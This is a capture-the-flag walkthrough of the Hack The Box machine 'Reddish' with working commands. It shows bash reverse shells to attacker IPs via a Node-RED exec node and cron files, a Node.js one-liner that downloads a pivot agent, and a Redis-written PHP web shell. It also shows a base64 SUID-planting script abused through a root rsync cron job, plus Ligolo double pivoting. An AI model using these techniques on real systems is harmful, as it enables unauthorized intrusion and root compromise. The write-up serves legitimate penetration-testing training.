> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/ippsec-unofficial-cpts-prep/htb-reddish.md).

# HTB - Reddish

Linux . Hard Machine

Attacker Machine --> 10.129.13.18 --> 172.19.0.4 --> 172.20.0.2 — > 10.129.13.18(Reddish)

## Enumeration

### NMAP

```bash
PORT     STATE SERVICE VERSION
1880/tcp open  http    Node.js Express framework
```

### HTTP - 1880

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fih6Jl7Ry66tXz0m31bOd%2Fimage.png?alt=media&amp;token=60d43197-7824-435f-a27b-a319c3de839c" alt=""><figcaption></figcaption></figure>

Browsing to port 1880 says `cannot GET /`

Directory enumeration revealed there is a `/red/` directory.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FxjM2cazj22wMgDPGrjko%2Fimage.png?alt=media&amp;token=e2eb55ec-daaf-4831-ad8b-4c27aa4110f5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F50r8ggJlnYHkyeIjdCZH%2Fimage.png?alt=media&amp;token=6de54a0b-0b62-4de6-b81e-9f0fd452e784" alt=""><figcaption></figcaption></figure>

Accessing `/red` returns the same.

So tried doing a POST request and got info.

```bash
┌──(ajay㉿kali)-[~]
└─$ curl -X POST <http://10.129.12.133:1880/>       
{"id":"79cafebe935bcdff451f803dbf48878f","ip":"::ffff:10.10.15.204","path":"/red/{id}"}
```

the path is `http://10.129.12.133:1880/red/79cafebe935bcdff451f803dbf48878f`

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FQXkWPB2u3WzhgUZMavj0%2Fimage.png?alt=media&amp;token=6a9f0c3c-ccb9-496d-b200-07071700e69f" alt=""><figcaption></figcaption></figure>

I can use the Node-Red application to give a reverse shell.

## Initial Access

* **Drag `inject`** from "input" onto the canvas
* **Drag `exec`** from "advanced" onto the canvas
* **Connect them** — click the right dot on inject, drag to the left dot on exec
* **Double-click the `exec` node** and enter: `bash -c 'bash -i >& /dev/tcp/10.10.15.204/4444 0>&1'`
* Make sure **"Append msg.payload"** is unchecked/empty
* Click **Done**
* Click **Deploy** (top right)
* Click the **blue square** on the inject node to fire it

### Shell as Root on Nodered

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F0VU73wHHRd1Glc1X6Osl%2Fimage.png?alt=media&amp;token=ef0947ac-100b-4d9a-8e5e-684e506ac423" alt=""><figcaption></figcaption></figure>

### Hosts Discovery

So we are in the docker environment what we can do is identify live hosts on the subnets and discover open ports on them to proceed further.

```bash
root@nodered:/node-red# for i in $(seq 1 10); do ping -c1 -W1 172.19.0.$i 2>/dev/null | grep -q "1 received" && echo "172.19.0.$i is up"; done
/null | grep -q "1 received" && echo "172.19.0.$i is up"; done
172.19.0.1 is up
172.19.0.2 is up
172.19.0.3 is up
172.19.0.4 is up
root@nodered:/node-red# 
```

```bash
root@nodered:/node-red# for i in $(seq 1 10); do ping -c1 -W1 172.18.0.$i 2>/dev/null | grep -q "1 received" && echo "172.18.0.$i is up"; done
/null | grep -q "1 received" && echo "172.18.0.$i is up"; done
172.18.0.1 is up
172.18.0.2 is up
root@nodered:/node-red#
```

As we already got live hosts, we can identify ports on them.

### Scanning Internal Hosts

Focusing on `172.19.0.4` as `172.18.0.1`(gateway) and `172.18.0.2`(nodered itself)

````bash
```bash
root@nodered:/node-red# forfor host in 1 2 3 4; do echo "=== 172.19.0.$host ==="; for port in {1..65535}; do (echo >/dev/tcp/172.19.0.$host/$port) 2>/dev/null && echo "  $port open"; done; done
cho "  $port open"; done; doneo >/dev/tcp/172.19.0.$host/$port) 2>/dev/null && e 
=== 172.19.0.1 ===
=== 172.19.0.2 ===
  6379 open
=== 172.19.0.3 ===
  80 open
=== 172.19.0.4 ===
  1880 open
  35372 open
  39182 open
  48530 open
````

So the attack machine do not directly have connection to the internal host, so we need to pivot to the internal host.

## Pivoting Through Ligolo

To pivot through ligolo we need our ligolo agent on the pivot host `10.129.13.18` .

```bash
root@nodered:/node-red# wget <http://10.10.15.204:80/agent.exe>
wget <http://10.10.15.204:80/agent.exe>
bash: wget: command not found
root@nodered:/node-red# curl <http://10.10.15.204:80/agent.exe>
curl <http://10.10.15.204:80/agent.exe>
bash: curl: command not found
```

no wget or curl so i will use the node js to download the agent proxy on the machine to tunnel through ligolo.

```bash
root@nodered:/node-red# node -e "const fs=require('fs');const http=require('http');const f=fs.createWriteStream('/tmp/agent');http.get('<http://10.10.15.204:8080/agent>',r=>r.pipe(f));"
/agent',r=>r.pipe(f));"teStream('/tmp/agent');http.get('<http://10.10.15.204:8080>
root@nodered:/tmp# ls
ls
agent
root@nodered:/tmp# chmod +x agent
chmod +x agent
root@nodered:/tmp#
```

#### Setup Ligolo

```bash
┌──(ajay㉿kali)-[~/Tools/ligolo]
└─$ sudo ip tuntap add user $USER mode tun ligolo
[sudo] password for ajay: 
                                                                                                                                                                                                                                            
┌──(ajay㉿kali)-[~/Tools/ligolo]
└─$ sudo ip link set ligolo up

┌──(ajay㉿kali)-[~/Tools/ligolo]
└─$ sudo ip route add 172.19.0.0/24 dev ligolo
[sudo] password for ajay: 
                                                                                                                    
┌──(ajay㉿kali)-[~/Tools/ligolo]
└─$ sudo ip route add 172.18.0.0/24 dev ligolo
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FKq6epwmog5SKU8nHsBgS%2Fimage.png?alt=media&amp;token=ce7e135d-d1be-474f-b769-d0e006753787" alt=""><figcaption></figcaption></figure>

Now we can enumerate the internal hosts form our attack machine.

```bash
┌──(ajay㉿kali)-[~/Tools/ligolo]
└─$ nmap -sT -sV -p 6379  172.19.0.2 -v
Starting Nmap 7.98 ( <https://nmap.org> ) at 2026-06-10 13:22 -0400

PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 7.07 seconds
           Raw packets sent: 4 (152B) | Rcvd: 1 (40B)

```

```bash
──(ajay㉿kali)-[~/Tools/ligolo]
└─$ nmap -sT -sV -p 80 172.19.0.3 -v 

Starting Nmap 7.98 ( <https://nmap.org> ) at 2026-06-10 13:23 -0400
NSE: Loaded 48 scripts for scanning.
Host is up (0.0059s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
```

Redis is running on port `6379` on host `172.19.0.2.`

Also there is an `HTTP` port open on `172.19.0.3`

### HTTP (172.19.0.3)

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F2hcac0mKMhA1ULiqZGzO%2Fimage.png?alt=media&amp;token=55d317fc-8335-43a0-af09-b9bc3eeebf4b" alt=""><figcaption></figcaption></figure>

the source code reveals there is an hidden directory and it takes test as parameter and also talks about a backup folder.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FAr6IhKB3Za1tzVQbdkdN%2Fimage.png?alt=media&amp;token=511dc3bd-65a5-4b9c-9b42-20dc1ede172c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FMQjHBmv2yCxvQo4idQxI%2Fimage.png?alt=media&amp;token=cb232dc9-0691-485c-9c84-38e3ac2fdeeb" alt=""><figcaption></figcaption></figure>

displays the keys. this parameter is displaying an internal key called hits on 172.19.0.2 as the source code implies.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F48mL8MtbmGyqqLcwiShr%2Fimage.png?alt=media&amp;token=a397af9b-478b-4014-8f54-ef204a1023e5" alt=""><figcaption></figcaption></figure>

Running INFO reveals the redis server data which can be confirmed by accessing the redis server.

### Redis

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FtEBSoNAjf2pXzger1pDC%2Fimage.png?alt=media&amp;token=d49611ae-7793-4647-874b-014a358bebec" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FbOpZ5Af8enbyxTvVDuIo%2Fimage.png?alt=media&amp;token=bbf85f88-5117-46a0-9981-f6665680130f" alt=""><figcaption></figcaption></figure>

what i can do is upload a webshell on the directory disclosed in the source code and get access.

```bash
172.19.0.2:6379> config set dir /var/www/html/
OK
172.19.0.2:6379> config set dbfilename shell.php
OK
172.19.0.2:6379> set shell "<?php system($_GET['cmd']); ?>"
OK
172.19.0.2:6379> save
OK
172.19.0.2:6379> 
```

Changing the directory to root directory and accessing it through the web browser gave as shell access.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FjCpF5n3DxdxbHfbl1wnE%2Fimage.png?alt=media&amp;token=67ded8c7-c87c-4c57-84a9-3495d86a5e60" alt=""><figcaption></figcaption></figure>

The shell we have uploaded is deleted after 3 minutes so we need to be quick in getting reverse shell.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FjQdchS7HU0c2ITHRaUHl%2Fimage.png?alt=media&amp;token=eabdfd89-45b1-44fc-8a43-f386b4611c9a" alt=""><figcaption></figcaption></figure>

This time i will upload the shell to directory which is revealed in the source code.

```bash
172.19.0.2:6379> config set dir /var/www/html//8924d0549008565c554f8128cd11fda4/
OK
172.19.0.2:6379> config set dbfilename shell.php
OK
172.19.0.2:6379> set shell "<?php system($_GET['cmd']); ?>"
OK
172.19.0.2:6379> save
OK
172.19.0.2:6379> 
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F0lRBOQlVN2Uj4NYnfR70%2Fimage.png?alt=media&amp;token=08f0699a-a48a-4df8-9fa8-76c90422df49" alt=""><figcaption></figcaption></figure>

Now i cant directly get the reverse shell to my machine as there is no route to my machine. so i need to setup a listener on ligolo so that it can catch the reverse shell forwarded from 172.19.0.3.

As 172.19.0.3 do not have direct acces to our machine but we have route to 172.19.0.4 anything that forwarded to that ip can be forwarded to our ligolo listener in simple words.

```bash
Agent : root@nodered] » listener_add --addr 0.0.0.0:7777 --to 127.0.0.1:7777
INFO[0498] Listener 0 created on remote agent!          
[Agent : root@nodered] »  
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fe74hFsEYYqzn9UG4xasj%2Fimage.png?alt=media&amp;token=40599e27-fcd1-41ef-96b8-e9de3fa7eb42" alt=""><figcaption></figcaption></figure>

## Shell as WWW-DATA

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4aaPqmD7fxiYIDKQa3d8%2Fimage.png?alt=media&amp;token=e41786d7-6853-49eb-835e-073253dab279" alt=""><figcaption></figcaption></figure>

```bash
www-data@www:/home/somaro$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
www-data@www:/home/somaro$ 
```

We cannot read the user.txt.

To enumerate the hosts further i need to transfer the linpeas so added a new listener on my ligolo to transfer linpeas to my machine. so that i know whats going around.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FUkUhpCGJzQbzP6kF4ghv%2Fimage.png?alt=media&amp;token=34518835-d522-4f9b-9c9c-e99549ef66b5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FXGFg4i7N6xjPEaPlOfFI%2Fimage.png?alt=media&amp;token=31869b02-b115-4a1a-8ff3-de7471d3eb03" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FJ2le5VPz3aku4eSAYUkB%2Fimage.png?alt=media&amp;token=d91f5c3d-3e61-4517-a80f-54c8ca5c7739" alt=""><figcaption></figcaption></figure>

Running linpeas revealed there is a `backup.sh` file in the backup directory which is run by root.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FesPrKO8y0TXPYDxp3KEn%2Fimage.png?alt=media&amp;token=b3a57433-55bf-49fe-a17f-e7f09a48dc2b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FZaLcyqQHjSXTcanOOqDr%2Fimage.png?alt=media&amp;token=6d2579af-773c-4269-8a57-d1f33ff1033b" alt=""><figcaption></figcaption></figure>

The backup script runs for every 3 minutes as root.

```bash
www-data@www:/etc/cron.d$ cat /backup/backup.sh
cat /backup/backup.sh
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
www-data@www:/etc/cron.d$ 
```

The script navigates to the Redis working directory and syncs any `.rdb` (Redis database) dump files **up to** the backup server at `rsync://backup:873/src/rdb/`. It then **wipes the entire web root** (`/var/www/html/`) and restores it fresh from the backup server's `src/backup/` module — essentially treating the backup server as the source of truth for web content. Finally it fixes ownership of the Redis directory back to `www-data`.

### Linux Privesc Using Rsync

```bash
www-data@www:/etc/cron.d$ ls ls -la /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
ls -la /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
total 8
drwxr-xr-x 2 www-data www-data 4096 Jul 15  2018 .
drwxr-xr-x 5 root     root     4096 Jul 15  2018 ..
```

the directory is writable by www-data.

```bash
www-data@www:/tmp$ echecho "test" > /tmp/test.txt
echo "test" > /tmp/test.txt
www-data@www:/tmp$ rsync -a /tmp/test.txt rsync://backup:873/src/tmp/
rsync -a /tmp/test.txt rsync://backup:873/src/tmp/
www-data@www:/tmp$ rsync rsync://backup:873/src/tmp/
rsync rsync://backup:873/src/tmp/
drwxrwxrwt          4,096 2026/06/11 19:20:01 .
-rw-r--r--              5 2026/06/11 19:19:23 test.txt
www-data@www:/tmp$ 
```

write access confirmed.

In order to root i will upload rdb file that executes the exploit and gives the bash shell as root by adding SUID bit.

{Thanks to ippsec}

```bash
#!/bin/sh
cp /bin/dash /tmp/priv
chmod 4755 /tmp/priv
```

```bash

www-data@www:/tmp$ echo "IyEvYmluL3NoCmNwIC9iaW4vZGFzaCAvdG1wL3ByaXYKY2htb2QgNDc1NSAvdG1wL3ByaXYK" | base64 -d > privilege.rdb
1NSAvdG1wL3ByaXYK" | base64 -d > privilege.rdbaXYKY2htb2QgNDc 
www-data@www:/tmp$ cat privilege.rdb
cat privilege.rdb
#!/bin/sh
cp /bin/dash /tmp/priv
chmod 4755 /tmp/priv
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FDvPNa7PRbvXzGUSbVBWi%2Fimage.png?alt=media&amp;token=b2e49b63-7e8e-4b5a-9f6b-06a3ab6f716b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FJ334P3YB3gQ6VsVo5bZy%2Fimage.png?alt=media&amp;token=b658ca42-af61-493f-ab36-4ab03aedcf52" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Ff9kY1WJMHnP89Ca4RNYO%2Fimage.png?alt=media&amp;token=afa88858-1b4c-4d5d-90aa-715a30b9c953" alt=""><figcaption></figcaption></figure>

with the root i can read the `user.txt` in somaro directory.

We still need to find root.txt.

checking the hosts file revealed there is on more internal host.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FfUncGKalBNJqw1O941M0%2Fimage.png?alt=media&amp;token=33f553d2-59a3-4587-af49-17fc0385705c" alt=""><figcaption></figcaption></figure>

```bash
www-data@www:/tmp$ for host in 1 2 3 4; do echo "=== 172.20.0.$host ==="; for port in {1..65535}; do (echo >/dev/tcp/172.20.0.$host/$port) 2>/dev/null && echo "  $port open"; done; done
cho "  $port open"; done; doneo >/dev/tcp/172.20.0.$host/$port) 2>/dev/null && e
  $port open"; done; doneo >/dev/tcp/172.20.0.$host/$port) 2>/dev/null && echo " 
=== 172.20.0.1 ===

=== 172.20.0.2 ===
  873 open
=== 172.20.0.3 ===
  80 open
  40936 open
  48782 open
=== 172.20.0.4 ===
```

`172.20.0.2` is new host

```bash
ping -c1 172.20.0.2
PING 172.20.0.2 (172.20.0.2) 56(84) bytes of data.
64 bytes from 172.20.0.2: icmp_seq=1 ttl=64 time=0.254 ms

--- 172.20.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.254/0.254/0.254/0.000 ms
```

i can ping the host as root.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FsGCwcjdS2jMuahC1wQiQ%2Fimage.png?alt=media&amp;token=331dd77f-eccb-4438-8055-a0b9e227a526" alt=""><figcaption></figcaption></figure>

`172.20.0.2` is actually the backup server.

Now i need to pivot to the host to access it from attack machine

### Ligolo Double Pivot

First thing first i will trasnfer the agent to the pivot.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FDGjTliP7KKJYqJq1MOqr%2Fimage.png?alt=media&amp;token=6daa8f24-bf2e-49a5-a8f2-1890c0f70d7e" alt=""><figcaption></figcaption></figure>

add a listener in the current ligolo proxy session

```bash
listener_add --addr 0.0.0.0:11602 --to 127.0.0.1:11601
```

```bash
nohup ./agent -connect 172.19.0.4:11602 -ignore-cert &
time="2026-06-11T21:34:31Z" level=warning msg="warning, certificate validation disabled"
time="2026-06-11T21:34:31Z" level=info msg="Connection established" addr="172.19.0.4:11601"
```

Run the agent in background so i can workaround and on the proxy i select the new session as www-data.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FaEeVJFDUSXR5K75yo40T%2Fimage.png?alt=media&amp;token=2c4fc595-136b-424d-b514-f1887b054d02" alt=""><figcaption></figcaption></figure>

```bash
└─$ sudo ip tuntap add user $USER mode tun ligolo1
[sudo] password for ajay: 
ioctl(TUNSETIFF): Device or resource busy
                                                                                                                    
┌──(ajay㉿kali)-[~/Tools/ligolo]
└─$ sudo ip link set ligolo1 up
                                                                                                                    
┌──(ajay㉿kali)-[~/Tools/ligolo]
└─$ sudo ip route add 172.20.0.0/16 dev ligolo1

```

add routes to the host and start the tunnel.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fyr7d18DREOklZDGuqf5U%2Fimage.png?alt=media&amp;token=fbecff18-ae93-48ac-ac2d-7d8db0163e9b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FkgFv3wbXCDFtnDzmJolm%2Fimage.png?alt=media&amp;token=11416dc0-8ba9-4a0b-bf49-d38981a936f3" alt=""><figcaption></figcaption></figure>

and i can access them from my attack machine.

Now that i know 172.20.0.2 is the backup server i can sue rsync to enumerate the host.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FnRSydBBaxeHkMqjW2yph%2Fimage.png?alt=media&amp;token=2662cb26-adc4-4f6e-95ab-c4fbce6bd740" alt=""><figcaption></figcaption></figure>

Since i have full access with rcsync i can write a cron job that will give me shell as root as they are run by root.

```bash
www-data@www:/tmp$ echecho '* * * * * root bash -c "bash -i >& /dev/tcp/172.20.0.3/4444 0>&1"' > /tmp/rootshell
4444 0>&1"' > /tmp/rootshell "bash -i >& /dev/tcp/172.20.0.3/ 
www-data@www:/tmp$ rsync /tmp/rootshell rsync://172.20.0.2:873/src/etc/cron.d/rootshell
otshelltmp/rootshell rsync://172.20.0.2:873/src/etc/cron.d/ro 
www-data@www:/tmp$ 

```

Setup a listener on the new session in ligolo to catch the shell.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4VN7y5dlWqeSGfkg7Onk%2Fimage.png?alt=media&amp;token=6365d270-eb66-4692-aed7-8d4e205ca987" alt=""><figcaption></figcaption></figure>

## Shell as Root on Backup

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fw1Rd9gnk4CrjMZp42BE5%2Fimage.png?alt=media&amp;token=5f7dd43d-a069-4c2f-9366-78250cd41fd7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FNlXfYXqlq5ITHzFBKwH1%2Fimage.png?alt=media&amp;token=0cb20f7a-f4b6-4584-8afb-e79cf0f54dfb" alt=""><figcaption></figcaption></figure>

no more pivoting....!!!!!Finally

there is no root.txt in the root directory and i was not able find it in the entire file system.

Checking the partions showed me there is a mount to the backup directory.

```bash
root@backup:~# df df -h
df -h
Filesystem      Size  Used Avail Use% Mounted on
overlay         5.3G  4.1G  1.2G  78% /
tmpfs            64M     0   64M   0% /dev
tmpfs           997M     0  997M   0% /sys/fs/cgroup
/dev/sda2       5.3G  4.1G  1.2G  78% /backup
shm              64M     0   64M   0% /dev/shm
```

lets mount it locally and investigate it.

```bash
root@backup:/tmp# mkdmkdir sda2
mkdir sda2
root@backup:/tmp# mount /dev/sda2 sda2
mount /dev/sda2 sda2
root@backup:/tmp# ls sda2

root@backup:/tmp/sda2/root# ls
ls
root.txt
root@backup:/tmp/sda2/root# 
```

There the `root.txt` is.

The `sda2` mount is a whole another file system so probably i will try to get a shell inside the mount using cron jobs.

## Shell as Root on Reddish

```bash
root@backup:/tmp/sda2/root# echo '* * * * * root bash -c "bash -i >& /dev/tcp/10.10.15.204/9001 0>&1"' > /tmp/sda2/etc/cron.d/rootshell
.10.15.204/9001 0>&1"' > /tmp/sda2/etc/cron.d/rootshell
```

now that i have route to the machine i dont need to setup the listener on the ligolo as we have direct access to the machine 10.129.13.18. As the mount should be the actual machine.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4b7f9HFKBRLsFrMOhuhc%2Fimage.png?alt=media&amp;token=8073e2ad-adce-4bd0-be6d-1b83c09c8636" alt=""><figcaption></figcaption></figure>

```bash
root@reddish:~# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether a2:de:ad:0e:ee:a4 brd ff:ff:ff:ff:ff:ff
    inet 10.129.13.18/16 brd 10.129.255.255 scope global ens192
       valid_lft forever preferred_lft forever
3: virbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000
    link/ether 52:54:00:a8:fd:d5 brd ff:ff:ff:ff:ff:ff
    inet 192.168.123.1/24 brd 192.168.123.255 scope global virbr0
       valid_lft forever preferred_lft forever
4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc fq_codel master virbr0 state DOWN group default qlen 1000
    link/ether 52:54:00:a8:fd:d5 brd ff:ff:ff:ff:ff:ff
5: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:fd:2c:8c:24 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
6: br-d4a52cd704d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:05:f4:9c:56 brd ff:ff:ff:ff:ff:ff
    inet 172.19.0.1/16 brd 172.19.255.255 scope global br-d4a52cd704d0
       valid_lft forever preferred_lft forever
7: br-81dc9e600be9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:aa:20:b6:ff brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-81dc9e600be9
       valid_lft forever preferred_lft forever
8: br-91c5803ee070: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:5b:e1:62:97 brd ff:ff:ff:ff:ff:ff
    inet 172.20.0.1/16 brd 172.20.255.255 scope global br-91c5803ee070
       valid_lft forever preferred_lft forever
10: vethaffd185@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-d4a52cd704d0 state UP group default 
    link/ether 72:1d:c6:1f:e3:1e brd ff:ff:ff:ff:ff:ff link-netnsid 0
12: veth4cdade9@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-91c5803ee070 state UP group default 
    link/ether 5a:49:60:92:01:c3 brd ff:ff:ff:ff:ff:ff link-netnsid 1
14: vethb7e2409@if13: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-81dc9e600be9 state UP group default 
    link/ether ce:4d:1a:ab:7a:10 brd ff:ff:ff:ff:ff:ff link-netnsid 3
16: veth85c29ad@if15: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-d4a52cd704d0 state UP group default 
    link/ether ee:48:d2:7a:32:7b brd ff:ff:ff:ff:ff:ff link-netnsid 2
18: veth66b7a1b@if17: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-91c5803ee070 state UP group default 
    link/ether ae:d7:86:97:ea:09 brd ff:ff:ff:ff:ff:ff link-netnsid 2
20: veth3f5a250@if19: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-d4a52cd704d0 state UP group default 
    link/ether ea:de:80:92:d1:e6 brd ff:ff:ff:ff:ff:ff link-netnsid 3
```

This confirms we are finally on the actual `reddish` host and not inside another container. The `ens192` interface holds the target IP, while the `br-` interfaces explain the internal Docker networks we pivoted through during the box.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/ippsec-unofficial-cpts-prep/htb-reddish.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
